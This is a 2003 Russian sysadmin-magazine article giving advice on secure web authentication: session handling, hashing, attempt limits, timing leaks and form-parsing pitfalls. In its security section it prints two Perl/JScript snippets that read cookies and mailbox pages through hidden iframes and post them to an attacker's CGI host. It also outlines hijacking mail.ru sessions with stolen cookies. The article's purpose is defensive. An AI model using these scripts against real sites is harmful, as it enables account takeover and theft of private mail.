Советы по безопасной веб-аутентификации::Журнал СА 5.2003
www.samag.ru
Журнал «БИТ. Бизнес&Информационные технологии»      
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Подписка
Архив номеров
Где купить
Наука и технологии
Авторам
Рекламодателям
Контакты
   

  Опросы
  Статьи

Работа с Debian  

О Linux с любовью или Debian: через знание к любви

Конечно, одним лишь перечислением замечательных качеств любовь к Linux не возникнет. Для

 Читать далее...

Опрос  

Защита личных и клиентских данных: как мошенники используют ИИ и как защититься?

По данным RED Security, общее число кибератак на российские компании в 2024

 Читать далее...

Опрос  

Облачные инструменты для разработчиков

Эксперты ИТ-отрасли отвечают на вопросы «Системного администратора» > Как с помощью облака сделать

 Читать далее...

Опрос  

Рынок мобильных приложений: что будет актуальным в 2025 году?

Эксперты ИТ-отрасли отвечают на вопросы «Системного администратора» > Ваши прогнозы: чего ожидать от

 Читать далее...

Рынок труда  

Как успешно пройти все этапы собеседования на ИТ-должность?

По оценкам государства, дефицит ИТ-специалистов составляет от 740 тысяч до 1 миллиона

 Читать далее...

1001 и 1 книга  
19.03.2018г.
Просмотров: 7598
Комментарии: 0
Машинное обучение с использованием библиотеки Н2О

 Читать далее...

12.03.2018г.
Просмотров: 7857
Комментарии: 0
Особенности киберпреступлений в России: инструменты нападения и защита информации

 Читать далее...

12.03.2018г.
Просмотров: 5216
Комментарии: 0
Глубокое обучение с точки зрения практика

 Читать далее...

12.03.2018г.
Просмотров: 3346
Комментарии: 0
Изучаем pandas

 Читать далее...

12.03.2018г.
Просмотров: 4139
Комментарии: 0
Программирование на языке Rust (Цветное издание)

 Читать далее...

19.12.2017г.
Просмотров: 4152
Комментарии: 0
Глубокое обучение

 Читать далее...

19.12.2017г.
Просмотров: 6649
Комментарии: 0
Анализ социальных медиа на Python

 Читать далее...

19.12.2017г.
Просмотров: 3488
Комментарии: 0
Основы блокчейна

 Читать далее...

19.12.2017г.
Просмотров: 3768
Комментарии: 0
Java 9. Полный обзор нововведений

 Читать далее...

16.02.2017г.
Просмотров: 7642
Комментарии: 0
Опоздавших не бывает, или книга о стеке

 Читать далее...

17.05.2016г.
Просмотров: 11006
Комментарии: 0
Теория вычислений для программистов

 Читать далее...

30.03.2015г.
Просмотров: 12730
Комментарии: 0
От математики к обобщенному программированию

 Читать далее...

18.02.2014г.
Просмотров: 14512
Комментарии: 0
Рецензия на книгу «Читаем Тьюринга»

 Читать далее...

13.02.2014г.
Просмотров: 9450
Комментарии: 0
Читайте, размышляйте, действуйте

 Читать далее...

12.02.2014г.
Просмотров: 7416
Комментарии: 0
Рисуем наши мысли

 Читать далее...

10.02.2014г.
Просмотров: 5699
Комментарии: 4
Страна в цифрах

 Читать далее...

18.12.2013г.
Просмотров: 4903
Комментарии: 0
Большие данные меняют нашу жизнь

 Читать далее...

18.12.2013г.
Просмотров: 3756
Комментарии: 0
Компьютерные технологии – корень зла для точки роста

 Читать далее...

04.12.2013г.
Просмотров: 3438
Комментарии: 0
Паутина в облаках

 Читать далее...

03.12.2013г.
Просмотров: 3668
Комментарии: 1
Рецензия на книгу «MongoDB в действии»

 Читать далее...

Друзья сайта  

 Советы по безопасной веб-аутентификации

Архив номеров / 2003 / Выпуск №5 (6) / Советы по безопасной веб-аутентификации

Рубрика: Безопасность /  Разграничение доступа

ИГОРЬ ТЕТЕРИН

Советы по безопасной веб-аутентификации

Речь пойдет об аутентификации на сайтах. Аутентификация – очень важная вещь, от нее зависит безопасность всего вашего проекта. Если система была продумана недостаточно хорошо, то в случае хранения приватной информации о проекте будут слагать истории на аналогах hacknet.ru о том, как получить чужие данные и управлять ими. Обычные почтовые системы сколько существуют, столько и исправляют свои системы аутентификации. К тому же система аутентификации может содержать систему восстановления пароля, что еще больше подрывает безопасность. На своем опыте приходилось открывать пару ящиков именно за счет слабой системы аутентификации. Не буду спорить, для новичков поломать mail.ru покажется невозможным, но это не так сложно. Речь далее пойдет не о взломе mail.ru, а о способах аутентификации и защиты от взлома.

Способы

Существует несколько стандартных способов аутентификации. Но любые способы основываются на какой-либо идентифицирующей информации. И чем меньше идентификационных данных, тем слабее защита. Например, аутентификация на основе лишь имени и пароля куда опаснее, чем если к этому добавится верификация по IP-адресу. Приведу несколько примеров, начиная с самого слабого:

  • Отсутствие аутентификации, знание нахождения нужных данных;
  • Аутентификация за счет передаваемых куков;
  • Аутентификация на основе имени и пароля;
  • Аутентификация на основе имени и пароля, IP-адреса;
  • Аутентификация на основе имени и пароля, времени, IP-адреса и т. п.

Такие методы сравнивать сложно, поскольку аутентификация может проходить однажды и на определенный срок, либо на каждый сеанс связи.

Удобство

Конечно, удобными являются те способы, которые не требуют какого-либо ввода данных и предустановки какого-либо программного обеспечения. К этому мы и будем стремиться, но в меру разумности. Наша основная задача – найти золотую середину, где количество аутентифицирующих действий компенсируется уровнем безопасности. Проблема создания безопасной системы в том, что необходимо учитывать удобство, а если сделать систему очень удобной, то это потребует снижения уровня безопасности и наоборот. Под удобством понимается количество необходимых действий для достижения удачной аутентификации. Тут существует несколько вариантов:

  • Ввод имени/пароля каждый раз.
  • Предустановка и настройка необходимого дополнительного ПО.
  • Знание секретного имени, например скрипта.
  • Полная прозрачность действий для клиента.

Самым удобным является последний вариант (полная прозрачность), но это означает, что идентифицирующие данные хранятся не в голове или записной книжке клиента, а в компьютере, например в cookie. Если аутентификация прозрачна лишь в небольшом промежутке времени, либо в течение одной сессии, то идентифицирующие данные могут быть просто в памяти, если было предустановлено ПО, то данные могут быть где угодно (винчестер, внешние носители и т. п.). Автоматизировать процесс получения чужих данных легче всего, когда они хранятся в cookie. Современные системы аутентификации комбинируют различные методы, поэтому автоматизировать что-то будет очень сложно. Система WebMoney предлагает хранить критичные данные на дискетке. Все обычные веб-сайты хранят обычные cookies, не заставляя пользователей сильно напрягаться.

Безопасность

Самый обычный вариант аутентификации, используемый на большинстве крупных сайтов: при входе на страницу пользователь аутентифицируется парой логин/пароль, после чего создается сессия, которая ограничивается либо закрытием браузера, либо временем. Сессия может привязываться к IP.

При получении почты у жертвы создана сессия, в это время жертве доступны все параметры ящика для чтения (кроме пароля). Таким образом жертва, зайдя на вашу страницу, сама того не зная, открывает в фреймах странички с параметрами, при этом отправляя их содержимое вам же. Это несложно реализуется примерно следующим скриптом (написанным на Perl), который вызывается из фрейма:

(для cookie)

print <<OPA;

<form action="http://yourpage.h10.ru/cgi-bin/securecheck.pl" method="POST"

name="forma">

<input type=hidden name=hin>

</form>

<script language="jscript">

onload=function () {

    setTimeout(

        function () {

document.forma.hin.value=document.getElementById("oVictim").document.cookie;

document.forma.submit();

        },

        100

    );

}

</script>

<iframe src="http://www.haqued.ru" id="oVictim"></iframe>

OPA

(для содержимого)

print <<OPA;

<form action="http://yourpage.h10.ru/cgi-bin/haque.pl" method="POST" name="forma">

<input type=hidden name=mailform>

</form>

<IFRAME  ID="I1"></IFRAME>

<SCRIPT for=I1 event="NavigateComplete(brows)">

document.forma.mailform.value=brows.document.body.innerHTML;

document.forma.submit();

</SCRIPT>

<SCRIPT>

I1.navigate("http://win.mail.ru/cgi-bin/userinfo");

setTimeout('I1.navigate("http://win.mail.ru/cgi-bin/userinfo")',10000);

</SCRIPT>

OPA

}

Приведенные скрипты требуют доработки и подходят только для некоторых версий Internet Explorer. Но вообще достать подобную информацию не составляет никакого труда, достаточно проштудировать следующие сайты:

и вы найдете все о том, как совершается атака на чужую информацию. (Врага надо знать в лицо.)

Рассмотрим более простой вариант аутентификации. Данный способ реализован у одного бывшего крупнейшего провайдера. Аутентификация происходит без использования cookie. Это заставляет пользователей постоянно вводить имя и пароль. Данная схема отбрасывает огромное число возможных дыр, но при этом подобная схема несколько нагромождает внутренний код рутинными операциями, при этом несложно допустить ошибку.

Рассмотрим схему подписки на получение логов. Раз аутентификация происходит без использования куков, то было бы логично сделать операцию получения логов в одной форме с аутентификацией, однако у провайдера это происходит в 2 шага:

  • Аутентификация.
  • Изменение параметров получения логов.

Возникает вопрос, каким образом мы на втором шаге узнаем о том, что именно хозяин логов делает изменения или просматривает информацию? Об этом заботится первый шаг следующим образом: после аутентификации (в случае успеха) на странице изменения параметров появляется скрытый атрибут:

где VALUE – имя пользователя. Больше никаких данных не требуется, что дает нам возможность, во-первых, перейти непосредственно ко второму шагу без аутентификации, а нужное имя придумать какое угодно, например любимой подруги. Данное свойство кривой аутентификации позволяет просматривать чужую статистику пользования Интернетом, телефоны и подобную приватную информацию.

Ошибкой mail.ru является присвоение уникального идентификатора сессии, не зависимого от времени или других случайных факторов. Это должно позволить получить доступ к почте следующим образом:

  • нам необходимы куки жертвы;
  • идентификатор сессии, который мы можем найти в переменной $ENV{"HTTP_REFERER"}, если жертва перейдет по ссылке на нашу страницу, также необходим;
  • мы должны знать примерное время, когда жертва будет проверять почту.

Затем, когда жертва заходит проверять почту, мы посылаем mail.ru запрос с куками жертвы и идентификатором. В течение получаса ящик будет в вашем распоряжении. Но я не утверждаю это, потому что сессия может быть привязана к IP, и тогда все накроется медным тазом (подмена IP-адреса – не такая простая задача). Наконец, мы начинаем примерно представлять схему работы идентификации.

  • При первоначальной аутентификации у клиента создается хэш (в куках), который зависит от: IP, времени, начала сессии, имени, пароля.
  • Хэш действует на протяжении одной сессии, в течение получаса (время зависит от вашего проекта) и отсылается при каждом запросе новой страницы вашего сайта. В данном случае возможна лишь аналогичная атака с mail.ru, но в составе с атакой spoofing, что реализуется несколько сложнее, и получение ответов от сервера затруднено принципом атаки (подмена IP).

По закрытию браузера, либо по истечении времени хэш приходит в негодность. Хэш можно раздавать всем друзьям и знакомым хакерам. Это им даст возможность подбирать параметры, в том числе и пароль, т.к. примерное время они могут знать, IP тем более. Значит, нужен еще один параметр. Чтобы подобрать пароль, нужно знать время, его можно угадать, но если сделать его точным до миллисекунд, то перебор становится затруднен.

Теперь подумаем немного. Пользователь присылает нам хэш. А нельзя ли исключить то, что у пользователя хранится этот хэш? Исключить это можно, передавая пользователю лишь идентификатор сессии. Все правильно, этим мы исключаем возможность подбора данных пользователя по хэшу, не теряя при этом ничего. Соответственно, данные, полученные от пользователя, мы ассоциируем с номером сессии, при этом пароль мы все же приводим в состояние хэша. Вот мы и получили безопасную схему аутентификации со своей стороны.

Остаются ошибки браузера. В данном случае возможна атака следующего вида: пользователь после прочтения «нехорошего» письма попадает на страницу взломщика, где уже скрыто в невидимые фреймы грузятся необходимые страницы, после чего содержимое страниц отправляется взломщику. Тут уже жертве придется просто-напросто ставить заплатки.

Микро-система

Давайте рассмотрим поближе, как должна работать система и приведем некоторые примеры, а начнем мы с того, что клиент заходит на главную страницу. Изначально у пользователя нет аутентифицирующих куков. Пользователь заполняет аутентифицирующие поля (Логин/Пароль) и отправляет следующую форму серверу:

<form action="cgi–bin/auth.cgi">

   <input name="login" type="text">

   <input name="password" type="password">

</form>

Скрипт теперь должен проверить, регистрировался ли тут такой пользователь или нет. Если не регистрировался, предложить повторить попытку или зарегистрироваться. Если полученные данные верны, тогда формируется сессия, а клиенту возвращается идентификатор в куках. Тут хочется отметить следующие моменты: обязательно проверяйте только POST-данные. Количество попыток ограничьте тремя, после чего просто заблокируйте аккаунт на некоторое непродолжительное время с данного IP (1-2 часа).

Предположим, что пришедшие данные лежат в хэше %POST (удобным в этом плане является модуль WebIn с сайта dklab.ru). В примере мы будем его использовать лишь для создания хэша с параметрами от пользователя %POST и %COOKIE. Тогда инициализация скрипта будет следующей:

use WebIn(1);

if (exists($COOKIE{id})) {CheckID()} # если в куках пришел параметр id тогда нужно его проверить

$ip=$ENV{REMOTE_ADDR};

# тут необходима проверка валидности IP и на заблокированные IP

$login=$POST{login};

$password=crypt($login,$POST{password});

($sec,$min,$hour,$mday,$mon,$year)

 = (localtime(time))[0,1,2,3,4,5];

        $mon+=1;

        $hour="0$hour" if ($hour<10);

        $min="0$min" if ($min<10);

        $mday="0$mday" if ($mday<10);

        $mon="0$mon" if ($mon<10);

        $year+=1900;

        $time=$year.$mon.$mday.$hour.$min.$sec;

Теперь четыре скаляра содержат необходимые для нас данные (логин, пароль, IP, время обращения).

Далее, нам необходимо прочитать имя, хэш пароля и сравнить их с полученными, для простоты представим, что пользовательские данные из базы уже лежат в скалярах $login_, $password_.

if ($login eq $login_ && $password eq $password_) {CreateID()}

else {WrongAuthorisation()}

При неудачной попытке авторизации увеличивается счетчик количества авторизаций, и в случае превышения лимита блокируется IP на некоторое время.

Теперь рассмотрим подробнее функцию &CreateID:

sub CreateID

{

return 0;

}

Данная функция содержит следующие шаги:

  • подготовка данных для создания сессии;
  • сохранение параметров сессии с самим номером сессии;
  • отправка кука с номером сессии.

Я не считаю необходимым навязывать способы форматирования данных, у каждого они свои, поэтому поговорим немного об уникальности сессий. Как вы сами понимаете, каждая сессия должна быть уникальной, и нельзя, чтобы номера сессий пересекались. Поэтому было бы хорошо, чтобы номер сессии зависел от параметров, ассоциированных с сессией. Время начала сессии – подходящий вариант, но это уже будет выдавать один из параметров, поэтому лучшим способом будет вести список сессий, по которому будет легко определить отсутствие номера сессии, а собственно номер сессии генериться случайно. Выудить полезную информацию не получится, а сворованный идентификатор сессии ничего не даст (опять же кроме сложной атаки с использованием spoofing IP).

Основной принцип: минимум критичной информации у пользователя и в передаваемых данных.

Если на вашем сайте авторизированные пользователи, например, только добавляют статью, а дальше их авторизация ни к чему, тогда лучшим вариантом будет вообще отсутствие работы с куками, и любое действие, разрешенное только избранным, должно идти параллельно с авторизацией.

И еще один момент: я рекомендую по минимуму использовать чужой код, а если уж используете, то вы должны представлять, что, где и как обрабатывается. Некоторые люди смело ставят такие вещи, как YABB либо чужие гостевые книги, в большинстве которых есть дыры. В том же YABB допускается вставка FLASH, а это уже признак того, что можно легко устроить XSS-атаку.

Еще один совет: чем больше код (ваш или чужой, а особенно чужой), тем больше вероятность ошибок в нем. Используйте только то, что действительно считаете необходимым.

Некоторые волшебные места

За последнее время находятся удивительные способы получения критичной информации. Если вы пишете собственную систему, то вам необходимо обратить внимание на следующий момент. Ответ от сервера в качестве результата аутентификации необходимо возвращать по истечении определенного времени, в среднем равного времени неудачной аутентификации. Что это значит? Просто по времени задержки можно узнать наличие логина в базе. Говоря простым языком, можно составить список пользователей, который в дальнейшем можно применять, например, для подбора паролей по словарю, либо использовать список, как готовый спам-лист. Реализуется задержка ответа достаточно просто: первым делом организуйте кэширизацию ответов. Неплохим примером может послужить модуль с dklab.ru (WebOut.pm), либо неплохой микро-пример на jkeks.far.ru/ret, модуль err.pm. Суть заключается в том, что весь вывод накапливается, после готовности данных они отправляются.

Другая менее популярная проблема небольших проектов может существовать в самом процессе обработки POST-запросов. Дело в том, что в HTML-форму можно положить собственный параметр.

<input name="login" type="file">

Собственно, речь идет о наличии не ASCII-символов. Необходимо иметь четкую и простую проверку, потому как данные логина сравниваются с содержимым базы, и нередко такие параметры передаются системам управления базами данных, где существуют свои критичные символы, т.е. необходим хороший фильтр данных. Кроме того, необходимо рассмотреть следующий пример:

-----------------------------7d339828e8

Content-Disposition: form-data; name="login"; filename="longfilename.txt"

Content-Type: text/plain

Данные:

-----------------------------7d339828e8

Content-Disposition: form-data; name="login"

AAABBBCCCАААБББВВВ

-----------------------------7d339828e8--

Удивительный запрос, да? Логин приходит в виде файла? Проблема существует в некоторых обработчиках форм. Какие проблемы тут могут быть?

  1. В логин попадут неотфильтрованные данные.
  2. Атакующий сможет как минимум создать временный файл в системе, занять канал.

Это связано с универсальностью обработки входящих данных некоторых несложных модулей. Некоторые даже коммерческие буржуйские универсальные модули обработки входящих данных автоматически создают временные файлы перед тем, как определить необходимость этих данных, т.е. файлы сначала создаются, а затем уже скрипт решает, нужны ли эти данные или нет.

Данные проблемы ставят перед нами задачу. Оказывается, анонимные пользователи так же должны иметь сессии, их аутентификация происходит лишь по номеру сессии, который закреплен за IP-адрес. Это исключит DoS, но не DoS-атаки. Каждая сессия по своему завершению должна удалять временные файлы. Вообще было бы правильнее получать только те данные, которые мы запрашивали и именно того объема, который мы хотим.

Если на сервере используется правильный обработчик MIME, то последствия вообще сложно предсказать, потому как стандарт MIME предусматривает много каких вещей. Именно поэтому приходящие формы советую обрабатывать несложными алгоритмами уже упомянутых проектов. Кстати, cgi-lib так же неплох в этом отношении. Как вы понимаете, в данные стандарты заложена ошибка. Стандарт MIME предназначен для почтовых сообщений, а включение его в POST-ответы принесет немало бед, некоторые из них нам уже показала malware.com.

Хочется обратить ваше внимание на еще одну проблему, связанную с UNICODE и, собственно, Mozilla-браузером. Как известно, с настройками по умолчанию Mozilla отправляет данные формы в UNICODE, что значительно увеличивает объем данных. Тут проблемы вовсе неразрешимы средствами стандартов, так как однозначное определение UNICODE невозможно, потому как нет идентифицирующих UNICODE параметров нигде. Точнее, их может не быть. Анализировать приходящие данные на UNICODE нельзя, потому как нельзя будет избежать ошибок, а значит увеличится вероятность взлома. Рассмотрим пример содержимого POST от Mozilla:

-----------------------------41184676334

Content-Disposition: form-data; name="login"

AAABBBCCC&#1040;&#1040;&#1040;&#1041;&#1041;&#1041;&#1042;&#1042;&#1042;  

-----------------------------41184676334--

Подобное содержимое должно преобразоваться из UNICODE, после чего пройти все фильтры по критичным символам и длине данных, но, как я и написал, однозначно нельзя определить UNICODE, поэтому входящие данные будут скорее испорчены. На этой оптимистической ноте я и хотел бы закончить свой рассказ о подводных камнях аутентификации через WEB.


Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-45
E-mail: sa@samag.ru